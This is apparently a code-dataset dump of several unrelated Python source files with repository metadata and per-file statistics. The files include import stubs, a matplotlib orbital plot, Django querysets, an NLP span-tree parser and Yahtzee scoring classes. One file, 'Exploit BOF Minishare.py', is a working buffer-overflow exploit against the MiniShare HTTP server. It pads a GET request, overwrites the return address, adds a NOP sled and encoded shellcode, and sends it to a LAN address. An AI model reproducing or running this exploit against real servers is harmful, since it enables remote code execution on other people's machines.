68fee1a8fd61a5610b3d5d7cdc87c8fab385d1b5

91

py

Python

h5Nastran/h5Nastran/post_process/result_readers/op2/__init__.py

ACea15/pyNastran

5ffc37d784b52c882ea207f832bceb6b5eb0e6d4

[ "BSD-3-Clause" ]

293

2015-03-22T20:22:01.000Z

2022-03-14T20:28:24.000Z

h5Nastran/h5Nastran/post_process/result_readers/op2/__init__.py

ACea15/pyNastran

5ffc37d784b52c882ea207f832bceb6b5eb0e6d4

[ "BSD-3-Clause" ]

512

2015-03-14T18:39:27.000Z

2022-03-31T16:15:43.000Z

h5Nastran/h5Nastran/post_process/result_readers/op2/__init__.py

ACea15/pyNastran

5ffc37d784b52c882ea207f832bceb6b5eb0e6d4

[ "BSD-3-Clause" ]

136

2015-03-19T03:26:06.000Z

2022-03-25T22:14:54.000Z

from __future__ import print_function, absolute_import from ._op2_reader import OP2Reader

22.75

54

0.868132

12

91

5.916667

0.75

0

0.024691

0.10989

91

3

55

30.333333

0.851852

0

1

0

true

0

1

0

1

0.5

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

ec1089c9a7a9e55875084c8662494be919188038

151

py

Python

docker/django/restaurant/restapi/serializers/__init__.py

gitmehedi/cloudtuts

3008b1cf7fbf22728c9bb2c059c4bd196043a93e

[ "Unlicense" ]

3

2019-08-29T10:14:40.000Z

2021-03-05T09:50:15.000Z

docker/django/restaurant/restapi/serializers/__init__.py

gitmehedi/cloudtuts

3008b1cf7fbf22728c9bb2c059c4bd196043a93e

[ "Unlicense" ]

null

docker/django/restaurant/restapi/serializers/__init__.py

gitmehedi/cloudtuts

3008b1cf7fbf22728c9bb2c059c4bd196043a93e

[ "Unlicense" ]

1

2021-03-05T09:50:29.000Z

from .foodmenu_serializer import FoodMenuSerializer from .restaurant_serializer import RestaurantSerializer from .user_serializer import UserSerializer

50.333333

55

0.907285

15

151

8.933333

0.6

0.358209

0

0.072848

151

3

56

50.333333

0.957143

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

ec2b72c4754f283c4efaca71eca70932210ff3c0

96

py

Python

venv/lib/python3.8/site-packages/aiohttp/formdata.py

Retraces/UkraineBot

3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71

[ "MIT" ]

null

venv/lib/python3.8/site-packages/aiohttp/formdata.py

Retraces/UkraineBot

3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71

[ "MIT" ]

null

venv/lib/python3.8/site-packages/aiohttp/formdata.py

Retraces/UkraineBot

3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71

[ "MIT" ]

null

/home/runner/.cache/pip/pool/50/9e/03/82a5f8264f8b6699ca39e38251ec0be76eb878ee03c873ca3a4e6f828b

96

0.895833

9

96

9.555556

1

0

0.427083

0

96

1

96

0.46875

0

1

0

null

0

null

0

1

0

null

0

1

0

1

0

1

0

null

1

0

1

0

6

6b5cc43e89d7c5069c70484c8a992ce4d70fc52c

71

py

Python

multipay/gateways/paypal.py

sarathak/django-multipay

27374f6de8b7c04f71145eaba5167e287dae6278

[ "BSD-3-Clause" ]

null

multipay/gateways/paypal.py

sarathak/django-multipay

27374f6de8b7c04f71145eaba5167e287dae6278

[ "BSD-3-Clause" ]

5

2021-03-18T23:31:58.000Z

2021-09-22T18:32:59.000Z

multipay/gateways/paypal.py

sarathak/django-multipay

27374f6de8b7c04f71145eaba5167e287dae6278

[ "BSD-3-Clause" ]

null

from multipay.gateway import Gateway class Paypal(Gateway): pass

11.833333

36

0.760563

9

71

6

0.777778

0

0.183099

71

5

37

14.2

0.931034

0

1

0

true

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

6

6bb38fc1b3db701ffa917963d52f59f8c42babe5

3,031

py

Python

3rd Energy Level/3dPart2.py

aminoj/Interactive-Orbitals-Simulation

20e405d6a23028049c05f4a0fd73e51857ba9270

[ "Apache-2.0" ]

null

3rd Energy Level/3dPart2.py

aminoj/Interactive-Orbitals-Simulation

20e405d6a23028049c05f4a0fd73e51857ba9270

[ "Apache-2.0" ]

null

3rd Energy Level/3dPart2.py

aminoj/Interactive-Orbitals-Simulation

20e405d6a23028049c05f4a0fd73e51857ba9270

[ "Apache-2.0" ]

1

2020-04-16T08:02:27.000Z

from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt import numpy as np fig = plt.figure() ax = fig.add_subplot(111, projection='3d') rstride = 15 cstride = 15 MinBound = -5 MaxBound = 5 u = np.linspace(0, 2*np.pi, 100) v = np.linspace(0, np.pi, 100) #------------------------------------------------------------------------------- #Cone x2 = 1.5*np.outer(np.cos(u), np.sin(v)) z2 = 1.5*np.outer(np.sin(u), np.sin(v)) y2 = 1.5*((1.5*x2)**2+(1.5*z2)**2+0.3)**(0.5) ax.plot_surface(x2, y2, z2, rstride = rstride, cstride = cstride, linewidth=0, color=(0.8,1,0.8)) #------------------------------------------------------------------------------- #Cone x2 = 1.5*np.outer(np.cos(u), np.sin(v)) z2 = 1.5*np.outer(np.sin(u), np.sin(v)) y2 = -1.5*((1.5*x2)**2+(1.5*z2)**2+0.3)**(0.5) ax.plot_surface(x2, y2, z2, rstride = rstride, cstride = cstride, color= (0.8,1,0.8), linewidth=0) #------------------------------------------------------------------------------- #Cover x6 = 1.5*np.outer(np.cos(u), np.sin(v)) z6 = 1.5*np.outer(np.sin(u), np.sin(v)) y6 = (abs(((2*x6)**2)+((2*z6)**2)-15)**(0.5))+1 ax.plot_surface(x6, y6, z6, rstride = rstride, cstride = cstride, color=(0.8,1,0.8), linewidth=0) #------------------------------------------------------------------------------- #Cover x6 = 1.5*np.outer(np.cos(u), np.sin(v)) z6 = 1.5*np.outer(np.sin(u), np.sin(v)) y6 = -(abs(((2*x6)**2)+((2*z6)**2)-15)**(0.5))-1 ax.plot_surface(x6, y6, z6, rstride = rstride, cstride = cstride, color=(0.8,1,0.8), linewidth=0) '--------------------------------------------------------------------------------------------------------------------' #------------------------------------------------------------------------------- #Cone y2 = 1.5*np.outer(np.cos(u), np.sin(v)) z2 = 1.5*np.outer(np.sin(u), np.sin(v)) x2 = 1.5*((1.5*y2)**2+(1.5*z2)**2+0.3)**(0.5) ax.plot_surface(x2, y2, z2, rstride = rstride, cstride = cstride, linewidth=0, color=(0.8,1,0.8)) #------------------------------------------------------------------------------- #Cone y2 = 1.5*np.outer(np.cos(u), np.sin(v)) z2 = 1.5*np.outer(np.sin(u), np.sin(v)) x2 = -1.5*((1.5*y2)**2+(1.5*z2)**2+0.3)**(0.5) ax.plot_surface(x2, y2, z2, rstride = rstride, cstride = cstride, color= (0.8,1,0.8), linewidth=0) #------------------------------------------------------------------------------- #Cover y6 = 1.5*np.outer(np.cos(u), np.sin(v)) z6 = 1.5*np.outer(np.sin(u), np.sin(v)) x6 = (abs(((2*y6)**2)+((2*z6)**2)-15)**(0.5))+1 ax.plot_surface(x6, y6, z6, rstride = rstride, cstride = cstride, color=(0.8,1,0.8), linewidth=0) #------------------------------------------------------------------------------- #Cover y6 = 1.5*np.outer(np.cos(u), np.sin(v)) z6 = 1.5*np.outer(np.sin(u), np.sin(v)) x6 = -(abs(((2*y6)**2)+((2*z6)**2)-15)**(0.5))-1 ax.plot_surface(x6, y6, z6, rstride = rstride, cstride = cstride, color=(0.8,1,0.8), linewidth=0) plt.show() ax.set_xlim3d(MaxBound, MinBound) ax.set_ylim3d(MaxBound, MinBound) ax.set_zlim3d(MaxBound, MinBound)

34.443182

118

0.454635

501

3,031

2.724551

0.113772

0.041026

0.046886

0.105495

0.794139

0

0.091139

0.08776

3,031

87

119

34.83908

0.402532

0.220389

0

0.5

0

0.050277

0.049425

0

1

0

false

0

0.0625

0

0.0625

0

null

0

1

0

1

0

null

0

6

6bda1f7325ba63145cc0ca57f0e8fdda66bcc867

25

py

Python

paranuara/companies/serializers/__init__.py

SPLAYER-HD/Paranuara

5a42f23d761e16e3b486ba04d9185551614f06a5

[ "MIT" ]

null

paranuara/companies/serializers/__init__.py

SPLAYER-HD/Paranuara

5a42f23d761e16e3b486ba04d9185551614f06a5

[ "MIT" ]

4

2021-06-08T20:53:43.000Z

2022-03-12T00:13:51.000Z

paranuara/companies/serializers/__init__.py

SPLAYER-HD/RestServiceDjango

5a42f23d761e16e3b486ba04d9185551614f06a5

[ "MIT" ]

null

from .companies import *

12.5

24

0.76

3

25

6.333333

1

0

0.16

25

1

25

0.904762

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

6bdd1aae288e4e03382b31e27b9637b80db7101a

138

py

Python

allopy/optimize/regret/__init__.py

wangcj05/allopy

0d97127e5132df1449283198143994b45fb11214

[ "MIT" ]

1

2021-04-06T04:33:03.000Z

allopy/optimize/regret/__init__.py

wangcj05/allopy

0d97127e5132df1449283198143994b45fb11214

[ "MIT" ]

null

allopy/optimize/regret/__init__.py

wangcj05/allopy

0d97127e5132df1449283198143994b45fb11214

[ "MIT" ]

null

from .active import ActivePortfolioRegretOptimizer from .optimizer import RegretOptimizer from .portfolio import PortfolioRegretOptimizer

34.5

50

0.891304

12

138

10.25

0.666667

0

0.086957

138

3

51

46

0.97619

0

1

0

true

0

1

0

1

0

1

0

1

null

0

1

0

null

0

1

0

1

0

1

0

6

6be6db3f7cba5e349caddb65cd3b434181747349

57

py

Python

operadores basicos/division2.py

gabys12/portafolio-fundamento-de-programacion

c9b47f32e885ed6ae80b14133a609798ea034e19

[ "CNRI-Python" ]

null

operadores basicos/division2.py

gabys12/portafolio-fundamento-de-programacion

c9b47f32e885ed6ae80b14133a609798ea034e19

[ "CNRI-Python" ]

null

operadores basicos/division2.py

gabys12/portafolio-fundamento-de-programacion

c9b47f32e885ed6ae80b14133a609798ea034e19

[ "CNRI-Python" ]

null

a = 57 b = 1.5 c = 60.24 print("a / b / c =",a / b / c)

9.5

30

0.385965

15

57

1.466667

0.6

0.181818

0.272727

0

0.216216

0.350877

57

5

31

11.4

0.378378

0

0.192982

0

1

0

false

0

0.25

1

0

1

null

0

1

0

1

0

1

0

1

0

null

0

6

d4115beafd073ebb473dd7ed0112123910233b80

58

py

Python

yo_indexer/__init__.py

LTibbetts/yo-indexer

6d77807544cfeb54b24caa804e6b8d0976fcaafa

[ "MIT" ]

1

2021-08-14T11:54:30.000Z

yo_indexer/__init__.py

LTibbetts/yo-indexer

6d77807544cfeb54b24caa804e6b8d0976fcaafa

[ "MIT" ]

null

yo_indexer/__init__.py

LTibbetts/yo-indexer

6d77807544cfeb54b24caa804e6b8d0976fcaafa

[ "MIT" ]

1

2017-11-30T22:35:48.000Z

"""init for yo_indexer""" from yo_indexer import analyzer

19.333333

31

0.775862

9

58

4.777778

0.777778

0.418605

0

0.12069

58

2

32

29

0.843137

0.327586

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

d41574b679c29eab33c404bb9f923842c709cd37

23

py

Python

__init__.py

Kindos7/feld

88f92a0583e6f346ad6009e91c14a05d5310fb50

[ "MIT" ]

null

__init__.py

Kindos7/feld

88f92a0583e6f346ad6009e91c14a05d5310fb50

[ "MIT" ]

null

__init__.py

Kindos7/feld

88f92a0583e6f346ad6009e91c14a05d5310fb50

[ "MIT" ]

null

from .feld import Feld

11.5

22

0.782609

4

23

4.5

0.75

0

0.173913

23

1

23

0.947368

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

d44868a07e0eddb3b4c77d49962d16526eaf3fef

185

py

Python

dataset.py

yepedraza/hm-class-nn

08e9bbd9c2c9ff7faeeb6c317aea16e434d1b233

[ "MIT" ]

null

dataset.py

yepedraza/hm-class-nn

08e9bbd9c2c9ff7faeeb6c317aea16e434d1b233

[ "MIT" ]

null

dataset.py

yepedraza/hm-class-nn

08e9bbd9c2c9ff7faeeb6c317aea16e434d1b233

[ "MIT" ]

null

class Dataset: x_train = [] y_train = [] x_test = [] y_test = [] def __init__(self, x_train, y_train): self.x_train = x_train self.y_train = y_train

20.555556

41

0.556757

27

185

3.296296

0.333333

0.269663

0.370787

0.269663

0

0.324324

185

9

42

20.555556

0.712

0

1

0.125

false

0

0.75

0

1

0

null

1

0

1

0

null

0

1

0

6

2e38a55faef529923807a338d221765dc317f09d

2,038

py

Python

Exploit BOF Minishare.py

JAYMONSECURITY/JMSec-Blog-Resources

61bcab0cbfceab8d46c039f5a5165b8f9da6737f

[ "MIT" ]

2

2021-09-08T23:57:47.000Z

2022-02-15T09:58:36.000Z

Exploit BOF Minishare.py

JAYMONSECURITY/JMSec-Blog-Resources

61bcab0cbfceab8d46c039f5a5165b8f9da6737f

[ "MIT" ]

null

Exploit BOF Minishare.py

JAYMONSECURITY/JMSec-Blog-Resources

61bcab0cbfceab8d46c039f5a5165b8f9da6737f

[ "MIT" ]

2

2021-09-09T13:42:12.000Z

2022-02-15T23:39:02.000Z

#!/usr/share/python import socket buf = b"" buf += b"\xb8\x1f\xf5\x98\xea\xdb\xd3\xd9\x74\x24\xf4\x5a\x31" buf += b"\xc9\xb1\x52\x31\x42\x12\x83\xc2\x04\x03\x5d\xfb\x7a" buf += b"\x1f\x9d\xeb\xf9\xe0\x5d\xec\x9d\x69\xb8\xdd\x9d\x0e" buf += b"\xc9\x4e\x2e\x44\x9f\x62\xc5\x08\x0b\xf0\xab\x84\x3c" buf += b"\xb1\x06\xf3\x73\x42\x3a\xc7\x12\xc0\x41\x14\xf4\xf9" buf += b"\x89\x69\xf5\x3e\xf7\x80\xa7\x97\x73\x36\x57\x93\xce" buf += b"\x8b\xdc\xef\xdf\x8b\x01\xa7\xde\xba\x94\xb3\xb8\x1c" buf += b"\x17\x17\xb1\x14\x0f\x74\xfc\xef\xa4\x4e\x8a\xf1\x6c" buf += b"\x9f\x73\x5d\x51\x2f\x86\x9f\x96\x88\x79\xea\xee\xea" buf += b"\x04\xed\x35\x90\xd2\x78\xad\x32\x90\xdb\x09\xc2\x75" buf += b"\xbd\xda\xc8\x32\xc9\x84\xcc\xc5\x1e\xbf\xe9\x4e\xa1" buf += b"\x6f\x78\x14\x86\xab\x20\xce\xa7\xea\x8c\xa1\xd8\xec" buf += b"\x6e\x1d\x7d\x67\x82\x4a\x0c\x2a\xcb\xbf\x3d\xd4\x0b" buf += b"\xa8\x36\xa7\x39\x77\xed\x2f\x72\xf0\x2b\xa8\x75\x2b" buf += b"\x8b\x26\x88\xd4\xec\x6f\x4f\x80\xbc\x07\x66\xa9\x56" buf += b"\xd7\x87\x7c\xf8\x87\x27\x2f\xb9\x77\x88\x9f\x51\x9d" buf += b"\x07\xff\x42\x9e\xcd\x68\xe8\x65\x86\x56\x45\xbb\xd3" buf += b"\x3f\x94\x43\xdd\x04\x11\xa5\xb7\x6a\x74\x7e\x20\x12" buf += b"\xdd\xf4\xd1\xdb\xcb\x71\xd1\x50\xf8\x86\x9c\x90\x75" buf += b"\x94\x49\x51\xc0\xc6\xdc\x6e\xfe\x6e\x82\xfd\x65\x6e" buf += b"\xcd\x1d\x32\x39\x9a\xd0\x4b\xaf\x36\x4a\xe2\xcd\xca" buf += b"\x0a\xcd\x55\x11\xef\xd0\x54\xd4\x4b\xf7\x46\x20\x53" buf += b"\xb3\x32\xfc\x02\x6d\xec\xba\xfc\xdf\x46\x15\x52\xb6" buf += b"\x0e\xe0\x98\x09\x48\xed\xf4\xff\xb4\x5c\xa1\xb9\xcb" buf += b"\x51\x25\x4e\xb4\x8f\xd5\xb1\x6f\x14\xe5\xfb\x2d\x3d" buf += b"\x6e\xa2\xa4\x7f\xf3\x55\x13\x43\x0a\xd6\x91\x3c\xe9" buf += b"\xc6\xd0\x39\xb5\x40\x09\x30\xa6\x24\x2d\xe7\xc7\x6c" princi_buffer="GET "+ "\x41"*1787 + "\xD7\x30\x9D\x7C" + "\x90"*20 + buf + " HTTP/1.1\r\n\r\n" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("192.168.222.134", 80)) sock.send(princi_buffer) sock.recv(1024) sock.close()

47.395349

95

0.665849

456

2,038

2.967105

0.489035

0.082779

0.010347

0

0.241893

0.077036

2,038

42

96

48.52381

0.477406

0.008832

0

0.771429

0.741266

0.710886

0.028571

1

0

1

0

false

0

0.028571

0

0.028571

0

null

0

1

0

1

0

1

null

1

0

6

2e6b77ebe0d8a404eeacc575e5cc8639848616d0

45

py

Python

pysedm/script/__init__.py

MickaelRigault/pysedm

5d34d3a6b48eb3bbb7ba9d89b88b4b5b1ff09624

[ "Apache-2.0" ]

5

2018-03-16T14:58:09.000Z

2019-11-25T15:57:14.000Z

pysedm/script/__init__.py

MickaelRigault/pysedm

5d34d3a6b48eb3bbb7ba9d89b88b4b5b1ff09624

[ "Apache-2.0" ]

9

2018-02-13T17:02:17.000Z

2020-09-15T11:43:37.000Z

pysedm/script/__init__.py

MickaelRigault/pysedm

5d34d3a6b48eb3bbb7ba9d89b88b4b5b1ff09624

[ "Apache-2.0" ]

4

2018-03-16T14:58:14.000Z

2022-02-07T20:02:58.000Z

""" Scripts """ from .ccd_to_cube import *

9

26

0.622222

6

45

4.333333

1

0

0.2

45

4

27

11.25

0.722222

0.155556

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

2e8c139aa592e5bb74d359a36bffe315d1c9fe52

1,834

py

Python

src/task/queries.py

Echeverrias/IE

24c55f5338d9e9270bbed5af76730bf893891349

[ "MIT" ]

2

2019-11-28T02:42:25.000Z

2020-03-05T01:13:40.000Z

src/task/queries.py

Echeverrias/IE

24c55f5338d9e9270bbed5af76730bf893891349

[ "MIT" ]

22

2019-12-04T23:41:12.000Z

2022-03-02T14:58:20.000Z

src/task/queries.py

Echeverrias/IE

24c55f5338d9e9270bbed5af76730bf893891349

[ "MIT" ]

1

2020-03-05T01:13:43.000Z

from django.db import models from django.db.models import Q, F, Count from datetime import date TYPE_CRAWLER = 'Crawler' STATE_FINISHED = 'Terminada' class TaskQuerySet(models.QuerySet): def crawler_tasks(self): return self.filter(type__iexact=TYPE_CRAWLER) def finished_crawler_tasks(self): return self.filter(type__iexact=TYPE_CRAWLER).filter(state__iexact=STATE_FINISHED) def get_latest_crawler_task(self): try: return self.crawler_tasks().latest('created_at') except Exception as e: return None def get_latest_crawler_tasks(self): try: distinct = self.crawler_tasks().values('name').order_by('name').annotate(name_count=Count('name')) names = [name.get('name') for name in distinct] tasks = [self.crawler_tasks().filter(name=name).latest('created_at') for name in names] pks = [task.pk for task in tasks if task] qs = self.filter(pk__in=pks).order_by('created_at') return qs except Exception as e: return self.none() def get_latest_finished_crawler_task(self): try: return self.finished_crawler_tasks().latest('created_at') except Exception as e: return None def get_latest_finished_crawler_tasks(self): try: distinct = self.crawler_tasks().values('name').order_by('name').annotate(name_count=Count('name')) names = [name.get('name') for name in distinct] tasks = [ self.finished_crawler_tasks().filter(name=name).latest('created_at') for name in names] pks = [task.pk for task in tasks if task] qs = self.filter(pk__in=pks).order_by('created_at') return qs except Exception as e: return self.none()

38.208333

110

0.642312

241

1,834

4.672199

0.19917

0.106572

0.056838

0.063943

0.804618

0.730018

0

0.252454

1,834

48

111

38.208333

0.821298

0

0.55

0

0.058856

0

1

0.15

false

0

0.075

0.05

0.5

0

null

0

1

0

null

0

6

2e8cb0929a4a853a9828c8240b46bd8edb783383

6,262

py

Python

code/parsing/skeleton_parser.py

mdheller/SPARQA

3678798491abeb350d9500182291b9a73da75bed

[ "MIT" ]

1

2020-06-20T12:27:11.000Z

code/parsing/skeleton_parser.py

mdheller/SPARQA

3678798491abeb350d9500182291b9a73da75bed

[ "MIT" ]

null

code/parsing/skeleton_parser.py

mdheller/SPARQA

3678798491abeb350d9500182291b9a73da75bed

[ "MIT" ]

null

from common_structs.skeleton import SpanTree from parsing.models.fine_tuning_based_on_bert_interface import redundancy_span_interface from parsing.models.fine_tuning_based_on_bert_interface import sequences_classifier_interface from parsing.models.fine_tuning_based_on_bert_interface import headword_span_interface from parsing.models.fine_tuning_based_on_bert_interface import simplif_classifier_interface from parsing import parsing_utils def span_tree_generation_only_dep(tokens): span_tree = SpanTree(tokens=tokens) span_tree.add_span_node(id=0, head_tail_position=[0, len(tokens)], isRoot=True, tokens=tokens) return span_tree def span_tree_generation_head(tokens): ''' 产生叶子顶点产生非叶子顶点每个树的顶点, 视为tokens列表边: 视为顶点与另一顶点内的某个token之间关系. ''' epoch = 0 span_tree = SpanTree(tokens=tokens) root_span_node = span_tree.add_span_node(id=0, head_tail_position=[0, len(tokens)], isRoot=True, tokens=tokens) while simplif_classifier_interface.process(root_span_node.content) == 1: epoch = epoch + 1 if epoch > 10: break # -------------------------------------- redundancy_span, redundancy_nbest_json = redundancy_span_interface.simple_process(root_span_node.content) if redundancy_span is None or redundancy_span == 'empty' or redundancy_nbest_json is None or len(root_span_node.tokens) - len(redundancy_span.split(' ')) <= 3: #heuristic rule, 如果删除以后, tokens数量小于4 超过10轮的迭代, 就退出 break # -----------------head--------------------- headword_index, _ = headword_span_interface.simple_process(question=root_span_node.content, span=redundancy_span) #update headword index, based on complete sequence headword_index = parsing_utils.update_headword_index(tokens=root_span_node.tokens, headword_index=headword_index) # ---------------span position--------------# look for position in utterance start_index, end_index = parsing_utils.look_for_position(redundancy_span, root_span_node) if start_index > end_index: break sub_tokens = parsing_utils.get_sub_tokens(root_span_node.tokens, start_index=start_index, end_index=end_index) sub_span_node = span_tree.add_span_node(id=epoch, head_tail_position=[start_index, end_index], tokens=sub_tokens, isRoot=False) # -------------------------------------- #增长树结构: 判断是叶子顶点还是非叶子顶点. #span node部分是不是有其他node的根, 如果有, 则为非叶子顶点; 否则, 则为叶子顶点. if not parsing_utils.is_leaf(span_tree=span_tree, span_node=sub_span_node): #非叶子顶点, 等价于插入顶点 parsing_utils.update_span_tree_structure(span_tree=span_tree, sub_span_node=sub_span_node) # -------------------relation classifier 检测修饰关系------------------- relation = sequences_classifier_interface.process(line_a=root_span_node.content, line_b=redundancy_span) # -------------------------------------- # print('###:\t', root_span_node.content) # print('####:\tspan:', redundancy_span, 'headword_index:', headword_index, 'rel_index:', relation) span_tree.add_child_rel_with_headword(father_id=root_span_node.id, son_id=sub_span_node.id, headword_position=headword_index, headword_relation=relation) # -------------------------------------- parsing_utils.update_span_tree_nodes(span_tree=root_span_node, start_index=start_index, end_index=end_index) # -------------------------------------- return span_tree def span_tree_generation_joint__(tokens): ''' 产生叶子顶点产生非叶子顶点每个树的顶点, 视为tokens列表边: 视为顶点与另一顶点内的某个token之间关系. ''' from parsing.models.fine_tuning_based_on_bert_interface import joint_three_models_interface epoch = 0 span_tree = SpanTree(tokens=tokens) root_span_node = span_tree.add_span_node(id=0, head_tail_position=[0, len(tokens)], isRoot=True, tokens=tokens) while simplif_classifier_interface.process(root_span_node.content) == 1: epoch = epoch + 1 if epoch > 10: break # -------------------------------------- redundancy_span, headword_index, relation, redundancy_nbest_json = joint_three_models_interface.simple_process(root_span_node.content) if redundancy_span is None or redundancy_span == 'empty' or redundancy_nbest_json is None or len(root_span_node.tokens)-len(redundancy_span.split(' '))<=3: #heuristic rule, 如果删除以后, tokens数量小于4 超过10轮的迭代, 就退出 break # -----------------head--------------------- #update headword index, based on complete sequence headword_index = parsing_utils.update_headword_index(tokens=root_span_node.tokens, headword_index=headword_index) # ---------------span position-------------- # look for position in utterance start_index, end_index = parsing_utils.look_for_position(redundancy_span, root_span_node) if start_index > end_index: break # -------------------------------------- # reg nodes sub_tokens = parsing_utils.get_sub_tokens(root_span_node.tokens, start_index=start_index, end_index=end_index) sub_span_node = span_tree.add_span_node(id=epoch, head_tail_position=[start_index, end_index], tokens=sub_tokens, isRoot=False) #增长树结构: 判断是叶子顶点还是非叶子顶点. #span node部分是不是有其他node的根, 如果有, 则为非叶子顶点; 否则, 则为叶子顶点. if not parsing_utils.is_leaf(span_tree=span_tree, span_node=sub_span_node): #非叶子顶点, 等价于插入顶点 parsing_utils.update_span_tree_structure(span_tree=span_tree, sub_span_node=sub_span_node) # print('###:\t', root_span_node.content) # print('####:\tspan:', redundancy_span, 'headword_index:', headword_index, 'rel_index:', relation) span_tree.add_child_rel_with_headword(father_id=root_span_node.id, son_id=sub_span_node.id, headword_position=headword_index, headword_relation=relation) # ---update root span node parsing_utils.update_span_tree_nodes(span_tree=root_span_node, start_index=start_index, end_index=end_index) # -------------------------------------- return span_tree

60.796117

168

0.666241

754

6,262

5.132626

0.147215

0.082687

0.071318

0.046512

0.866667

0.859432

0.814987

0

0.004702

0.184925

6,262

102

169

61.392157

0.753527

0.223251

0

0.649123

0

0.002574

0

1

0.052632

false

0

0.122807

0

0.22807

0

null

0

1

0

null

0

6

5cf8052e0709de8f2760f2e458d03741bea0cf3b

29,223

py

Python

yahtzee/scoring/rules.py

augustopher/yahtzee

58c292753733286c223a045926e8554c9fb358ee

[ "MIT" ]

null

yahtzee/scoring/rules.py

augustopher/yahtzee

58c292753733286c223a045926e8554c9fb358ee

[ "MIT" ]

11

2021-07-17T20:17:27.000Z

2021-08-07T00:34:35.000Z

yahtzee/scoring/rules.py

augustopher/yahtzee

58c292753733286c223a045926e8554c9fb358ee

[ "MIT" ]

null

from ..dice import DiceList from . import validators as vl from .. import errors as er from abc import ABC, abstractmethod from enum import Enum from typing import List, Optional # scores that are constant, regardless of dice values SCORE_FULL_HOUSE: int = 25 SCORE_SMALL_STRAIGHT: int = 30 SCORE_LARGE_STRAIGHT: int = 40 SCORE_YAHTZEE: int = 50 BONUS_UPPER_SCORE = 35 BONUS_UPPER_THRESHOLD = 63 BONUS_YAHTZEE_SCORE = 100 BONUS_LOWER_SCORE = BONUS_YAHTZEE_SCORE class Section(Enum): """Values for the sections of the scoresheet, used to organize different rules and bonuses.""" UPPER: str = "upper" LOWER: str = "lower" class ScoringRule(ABC): """Generic scoring rule. Parameters ---------- name : str Name to identify the rule. section : Section Section of the scoresheet which the rule belongs to. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. """ def __init__(self, name: str, section: Section): self.name = name self.section = section self.rule_score: Optional[int] = None def score(self, dice: DiceList) -> None: """Method to score a given set of dice. Parameters ---------- dice : list of Die A set of dice to score. """ if self._check_rule_not_scored(): self.rule_score = self._score_dice(dice=dice) else: raise er.RuleAlreadyScoredError( f"Rule {self.name} has already been scored." ) return None @abstractmethod def validate(self, dice: DiceList) -> bool: """Method to check that a desired pattern or other trait is present in the given dice. Parameters ---------- dice : list of Die A set of dice to check. Returns ------- valid_dice : bool Whether the dice are valid for the given rule or not. """ pass # pragma: no cover @abstractmethod def _score_dice(self, dice: DiceList) -> int: """Method to score a given set of dice. Parameters ---------- dice : list of Die A set of dice to score. Returns ------- score : int The score resulting from the dice, based on the rule. """ pass # pragma: no cover def _check_rule_not_scored(self) -> bool: """Verifies that the rule has not already been scored. Returns ------- rule_not_scored : bool Whether the rule has been scored or not. True if not scored, False if scored. """ return self.rule_score is None class ConstantPatternScoringRule(ScoringRule): """Generic scoring rule, which looks for a particular pattern, and has a constant score value. Parameters ---------- name : str Name to identify the rule. section : Section Section of the scoresheet which the rule belongs to. score_value : int The value of the rule if scored with a valid set of dice. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. score_value : int The value of the rule if scored with a valid set of dice. """ def __init__(self, name: str, section: Section, score_value: int): super().__init__(name=name, section=section) self.score_value = score_value def _score_dice(self, dice: DiceList) -> int: """Method to score a given set of dice. Parameters ---------- dice : list of Die A set of dice to score. Returns ------- score : int The score resulting from the dice, based on the rule. """ if self.validate(dice=dice): return self.score_value else: return 0 class VariablePatternScoringRule(ScoringRule): """Generic scoring rule, which looks for a particular pattern, and has a variable score value. Parameters ---------- name : str Name to identify the rule. section : Section Section of the scoresheet which the rule belongs to. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. """ def __init__(self, name: str, section: Section): super().__init__(name=name, section=section) def _score_dice(self, dice: DiceList) -> int: """Method to score a given set of dice. Parameters ---------- dice : list of Die A set of dice to score. Returns ------- score : int The score resulting from the dice, based on the rule. """ if self.validate(dice=dice): return self._scoring_func(dice=dice) else: return 0 @abstractmethod def _scoring_func(self, dice: DiceList) -> int: """Method for calculating a dice-dependent score. Parameters ---------- dice : list of Die A set of dice to score. Returns ------- score : int The score resulting from the dice, based on the rule. """ pass # pragma: no cover class ChanceScoringRule(VariablePatternScoringRule): """Rules which take any 5 dice. Parameters ---------- name : str Name to identify the rule. section : Section, default LOWER Section of the scoresheet which the rule belongs to. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. """ def __init__(self, name: str, section: Section = Section.LOWER): super().__init__(name=name, section=section) def _scoring_func(self, dice: DiceList) -> int: """Method for calculating a dice-dependent score. Scores as the sum of all showing faces. Parameters ---------- dice : list of Die A set of dice to score. Returns ------- score : int The score resulting from the dice, based on the rule. """ return _sum_all_showing_faces(dice=dice) def validate(self, dice: DiceList) -> bool: """Method to check that the desired pattern is present in the given dice. Always validates, since Chance can score for any dice. Parameters ---------- dice : list of Die A set of dice to check. Returns ------- valid_dice : bool Whether the dice are valid for the given rule or not. Since a Chance is just scoring any set of dice, this will always return `True`. """ # Any dice combo is valid return True class MultiplesScoringRule(VariablePatternScoringRule): """Rules which look for multiple dice with a specific face value. Parameters ---------- name : str Name to identify the rule. section : Section, default UPPER Section of the scoresheet which the rule belongs to. face_value : int Face value needed on a die to be counted in this rule's score. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` 